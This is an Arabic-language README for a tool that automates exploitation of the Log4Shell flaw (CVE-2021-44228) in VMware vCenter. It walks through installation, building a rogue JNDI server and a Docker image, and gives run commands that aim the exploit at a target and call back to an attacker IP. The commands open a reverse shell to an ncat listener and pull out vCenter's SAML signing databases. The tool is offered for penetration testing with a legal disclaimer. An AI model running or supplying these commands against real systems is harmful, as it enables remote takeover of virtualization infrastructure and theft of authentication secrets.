
استغلال CVE-2021-44228 في vCenter لتنفيذ الأوامر عن بُعد والمزيد.
استغلال CVE-2021-44228 في vCenter لتنفيذ الأوامر عن بُعد والمزيد. مقالة المدونة التي تشرح الاستغلال موضحة أدناه:
إثباتات المفهوم لهذه الثغرة متناثرة ويجب تنفيذها يدويًا. يقوم هذا المستودع بأتمتة عملية الاستغلال ويعرض مسار هجوم إضافي ممكن بعد الاستغلال.
يمكن استخدام هذا المستودع يدويًا أو مع Docker.
لتنزيل وتشغيل الأداة يدويًا، اتبع الخطوات التالية. أولاً، تأكد من تثبيت Java و Maven على جهاز المهاجم. لفعل ذلك باستخدام apt على أنظمة التشغيل المبنية على Debian، قم بتشغيل الأمر التالي:
apt update && apt install openjdk-11-jre maven
قم باستنساخ مستودع GitHub وتثبيت جميع متطلبات Python:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && pip3 install -r requirements.txt
من جذر مستودع Log4jCenter، قم بتجميع مشروع Rogue-Jndi باستخدام الأمر أدناه:
mvn package -f utils/rogue-jndi/
أولاً، تأكد من تثبيت Docker على جهاز المهاجم الخاص بك. (لن أرشدك خلال فعل ذلك)
بعد ذلك، قم بتنفيذ الأمر التالي لاستنساخ المستودع وبناء صورة Docker التي سنستخدمها.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && docker build -t log4jcenter .
لتشغيل الحاوية، قم بتشغيل أمر مشابه للتالي مع إضافة علامات سطر الأوامر الخاصة بك. على سبيل المثال، سيتم استخدام الأمر أدناه لاستغلال vCenter والحصول على شل عكسي. لاحظ أن الحاوية لن تلتقط الشل العكسي. تحتاج إلى إنشاء مستمع ncat في جلسة شل منفصلة:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 8090:8090 -p 1389:1389 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -p 4444 -r
usage: exploit.py [-h] -t IP -i CALLBACK [-p PORT] [-e] [-r]
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP vCenter Host IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-e, --exfiltrate Module to pull SAML DB
-r, --revshell Module to establish reverse shell
الحصول على شل عكسي باستخدام الأداة المثبتة على نظامك المحلي:
python3 exploit.py -t vcenter.acme.com -i 10.10.10.1 -p 4444 -r
استخراج قواعد بيانات توقيع SAML من داخل حاوية Docker:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 1389:1389 -p 8090:8090 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -e
هذه الأداة مصممة للاستخدام أثناء اختبار الاختراق؛ استخدام هذه الأداة لمهاجمة أهداف دون موافقة متبادلة مسبقة غير قانوني. تقع على عاتق المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها. لا يتحمل المطورون أي مسؤولية ولا يتحملون مسؤولية أي إساءة استخدام لهذا البرنامج.